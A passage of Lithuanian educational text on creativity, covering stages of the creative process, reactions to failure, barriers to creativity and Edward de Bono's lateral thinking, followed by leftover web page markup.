Kiti kūrybiškumo tyrėjai išskiria ir daugiau kūrybinio proceso etapų, pavyzdžiui, Rossman
(1931) skiria septynis etapus:
1. nepasitenkinimo šaltinio, kliūties, problemos nustatymas;
2. jų analizė, informacijos rinkimas ir peržiūrėjimas;
3. galimų problemos sprendimų įvardijimas;
4. jų kritinis įvertinimas;
5. naujos idėjos, problemos sprendimo varianto radimas ir jos teisingumo patvirtinimas.
Projekcinis mąstymas yra kūrybingai mąstančių asmenų atributas, kuris būdingas asmenims,
susikoncentravusiems ne į pačią problemą, o į jos galimus sprendimo būdus, t.y. nuolatos ieškoma
įvairių galimybių kaip pašalinti problemą. Toks mąstymo būdas leidžia atsirasti inovacijoms.
Inovacijos klesti geriausiai tada, kai žmonės gali mėgautis savo darbu ir laisvai remtis savo
vaizduote. Sėkmingas kūrybinis mąstymas reikalauja žinoti apie kliūtis, kurios gali susilpninti
kūrybiškumą. Norint įveikti šias kliūtis, reikia mąstyti nevaržomai ir tyrinėti dar netyrinėtas sritis
bei kryptis.
Kūrybiškumui ugdyti labai padeda ko nors naujo mokymasis. Nauja informacija susijungia su
sena ir įgauna visiškai naujų, nuostabių formų. Reikia sąmoningai siekti originalumo ir ieškoti
naujų, nešabloniškų idėjų. Iškelkite tiek daug įvairių idėjų, kiek tik galite, generuokite tiek
sprendimų variantų, kiek tik išeis. Svarbu stengtis išstudijuoti visas galimybes, net jeigu jau yra
numatytas perspektyviausias sprendimas. Kūrybingi žmonės mąsto produktyviai, todėl turimų idėjų
skaičius labai svarbus. V. A. Mocartas sukūrė 600 muzikos kūrinių, tačiau tik nedidelė dalis pateko
į sceną ir garso įrašų studiją. J. S. Bachas parašydavo po kantatą per savaitę. T. Edisonas atliko
1093 eksperimentus, A. Einšteinas ne tik paskelbė reliatyvumo teoriją, bet ir publikavo 248 kitų
savo darbų.
Pasak kūrybiškumo tyrinėtojų, patyrę pirmąją nesėkmę žmonės reaguoja vienu iš keturių būdų:
1) neigimu (atsisakymu) – žmogus meta pradėtą darbą ir neigia, kad tai, kas pradėta, yra
vertinga;
2) racionalizacija – žmogus vengia nusivylimo. Jis klaidingai vertina rezultatą, laikydamas jį
tikrai vertingu ir kūrybingu;
3) stagnacija – žmogus susitaiko su esama situacija ir net nebando jos neigti arba pateisinti
atlikto darbo. Motyvacija toliau dirbti tokia menka, kad problema taip ir lieka neišspręsta.
Žmogus nepajėgus atlaikyti nesėkmę ir judėti pirmyn;
4) nauju augimu – labiausiai į nesėkmę pageidaujama reakcija, kuri įgyvendinama labai
paprastai – tiesiog tęsiant darbą. Žmogus pradeda ieškoti naujų variantų, pasitelkia savo
resursus, sąmoningai atsisako įprastų, gerai žinomų, todėl saugių problemos sprendimo
būdų. Tokiu atveju žmogus priima sąmoningą sprendimą judėti į priekį.
Kūrybiškumą galima valdyti ir vystyti. Kūrybiškumą riboja nusistovėję informacijos
apdorojimo kanalai, klaidos baimė, taisyklės, logika ir įvairios prielaidos:
 Neigiamas požiūris į vaizduotę, ateinantis tiek iš švietimo sistemos, tiek ir tėvų.
 Savigarbos stoka, savų idėjų sumenkinimas.
 Protinis „tingumas“ ir pagunda imtis senų idėjų bei mąstymo būdo.
 Pernelyg didelis pasikliovimas technologijomis ir logika.
 Ambicijų siekti daugiau stygius.
19
 Savanaudiškos ambicijos ir nenoras bendradarbiauti.
 Baimė suklysti.
 Baimė būti laikomu „bepročiu“.
Reikia sukurti visą organizacijos kultūrą, kuri palaikytų kūrybiškumą ir naujoves. Svarbu tai,
kad būtų skatinama, laukiama ir neatmetama kitokia nuomonė, būtų propaguojamas komandinis
darbas, vienų su kitais bendradarbiavimas. Žaidimai taip pat be galo skatina kūrybiškumą. Įvairių
seminarų metu kūrybiškumas paprastai skatinamas naudojant elementariausius metodus: piešimą,
istorijų pasakojimą, improvizacijas, muziką. Kūrybiškumas yra būdingas kiekvienam iš mūsų ir tai
mums suteikia individualumo. Kiekvienas gali būti kūrybiškas, tereikia išeiti iš savo patogumo
zonos.
Receptas kūrybingumui:
Motyvacija (sprendimas) + meistriškas įrankių naudojimas
1.3. Lateralinis mąstymas
Verčiant iš lotynų kalbos lateralis reiškia šoninis, dar vadinamas poslinkio sprendimu.
Lateralinis mąstymas – tai sąmoningas mąstymas, kurio esmė pažvelgti iš skirtingų kampų tam, kad
surastum novatorišką sprendimą (Janušauskas E.). Šį mąstymo tipą aprašė medicinos, psichologijos
ir fiziologijos profesorius iš Maltos Edward de Bono 1969-tais metais savo knygoje „The Use of
Lateral Thinking“. Jį autorius vadina poslinkio arba šoniniu mąstymu, lateralinis tai – efektyvus
mąstymas, problemos sprendimo ašimi laikantis vidinės įžvalgos. Ši mąstymo technika padeda
surasti naują sprendimo būdą, kuris dažniausiai yra sunkiai sužinomas ir unikalus. Naudojant
lateralinio mąstymo techniką, dažniausiai gilinamasi į tai, kas gali būti, o ne tai, kas įmanomą.
Lateralinis mąstymas suvokiamas kaip intuityvus mąstymo būdas, laužantis nustatytas
taisykles. Tai siekimas išspręsti problemą nelogiškais būdais, procesas ir noras pažvelgti į dalykus
naujai. Naudojantis šiuo metodu negalima priiminėti jokių sprendimų tol, kol neprisikaups daug
idėjų.
Prof. E. de Bono teigia, kad lateralinis mąstymas susiformavo studijuojant proto veiklą.
Susidūręs su nauja problema, protas ieško jau turimo pavyzdžio, lygina tai su jam žinoma
informacija ir sprendimais. Lateralinis, arba šoninis mąstymas, leidžia mums turimus pavyzdžius
išardyti, būti atviresniems naujovėms ir galimybėms, skatina kūrybiškai naudotis turimais
pavyzdžiais.
Pagrindinis tikslas yra nušokimas nuo minties, o tada sugrįžimas atgal bandant pažvelgti į
problemą nauju kampu. Bandant šią techniką didelę sėkmės dalį lemia fokusavimasis į esamą idėją,
koncepciją, problemą, daiktą. Kuo tikslesnis susitelkimas, tuo paprasčiau kurti.
Tai priešingas įprastam vertikalaus mąstymo būdui (Sokrato kritinis arba loginis): kuomet
vienas teiginys veda prie kito teiginio, sistemiškai, nuosekliai, progresuojant prie galutinio
rezultato. Mąstyti vertikaliai yra gera, teigia profesorius, tačiau kuomet mes susiduriame su
ypatingai sudėtinga situacija patekdami į akligatvį, kuomet nėra sekančio protui žingsnio kur žengti
ir neturima akivaizdžių priežasčių ir faktų, verta pasitelkti lateralinį, grįstą spėliojimais,
hipotezėmis, kūrybiška įžvalga. Tikėtina, kad tai padės išlipti iš „uždaro loginio rato”. Pasak 
20
profesoriaus, vertikaliu sprendimo būdu mes kasame duobę gilyn, o lateraliniu kasame duobę šalia,
kitoje vietoje.
Tradicinė logika nepripažįsta požiūrių įvairovės: jei yra du požiūriai, tai vienas būtinai yra
neteisingas. Kritinis mąstymas kaip ir logika turi gilią tradiciją Vakarų kultūroje. Dr. Edward de
Bono teigia, kad kritika visuomet reikalauja mažiau energijos, minties įtampos ir pastangų: būti
kritišku yra lengviau negu kūrybišku. Todėl Dr. Edward de Bono siūlo įvaldyti visus pažįstamus
mąstymo metodus ir technikas bei laiku ir vietoje juos panaudoti.
Smegenys – speciali erdvė, kurioje informaciją protas organizuoja į šablonus, teigia de Bono.
Susidūrus su nauja problema, protas ieško jau turimo pavyzdžio, operuoja terminais, lygina tai kas
jam žinoma. Jo manymu, kad nauja idėja paimtų viršų, ji turi grumtis su turimomis senomis
tiesomis, saugomomis smegenyse. Lateralinis arba šoninis mąstymas leidžia turimus pavyzdžius
restruktūrizuoti, būti atviresniu naujovėms ir galimybėms, skatina kūrybiškai naudotis turimais
pavyzdžiais. Norint sėkmingai naudoti lateralinį mąstymo būdą, reikia praktikuotis, tam skirtos
kelios kūrybiško mąstymo technikos (Kavaliauskaitė – Hunter).
E. de Bono kūrybiško mąstymo technikos variantai:
 Alternatyvų ieškojimas. Norint rasti geresnį sprendimą, reikia turėti iš ko rinktis.
 Prielaidų skatinimas. Reikia nebijoti mesti iššūkių kilusioms problemoms ir sau.
 Kvotos. Būtina kurti daug naujų idėjų problemai spręsti, nes dažniausiai paskutinė yra
vertingiausia.
 Analogijos. Reikia pasistengti įvertinti, kuo ši situacija panaši į buvusią.
 Atvirkštinis variantas. Svarbu atsitraukti ir pažvelgti į rūpesčius iš šalies bei juos
objektyviai įvertinti.
 Uždelstos išvados. Jokiu būdu nevalia skubėti su atsakymu. Svarbu išbandyti kitus
variantus.
Lateralinis mąstymas nepaneigia vertikalaus mąstymo, bet jį puikiai papildo.
Mąstymas yra įgūdis. Tai tas pats kaip važiavimas dviračiu… Tai ne tas pats kas žinojimas.
Mąstymo įgūdžius galima išvystyti ir tobulinti.
„Smegenys yra save organizuojanti sistema, kuri periodiškai skirsto gaunamus duomenis į
pasikartojančius modelius“. Horizontalaus mąstymo įrankis leidžia mums judėti horizontaliai tarp
pasikartojančių modelių, taip atverdamas naujas įžvalgas, koncepcijas ir idėjas.
Vertikalaus mąstymo mąstytojas: „Žinau, ko ieškau.“
Horizontalaus mąstymo mąstytojas: „Ieškau kažko, bet nežinau ko, kol nerasiu.“
                 </p>


				</div>
			</div>



			<!-- CONTENT END -->

			
		</div>
	</div>


	<footer>
		<div class="container">
			<div class="copy">
				<div><a href="#">Политика Конфеденциальности</a> <a href="#">Условия пользования</a></div>
				<span>© 2019 Copyright. All rights reserved.</span>
			</div>
		</div>
	</footer>

	<script src="assets/scripts.min.js"></script>
</body>

</html>
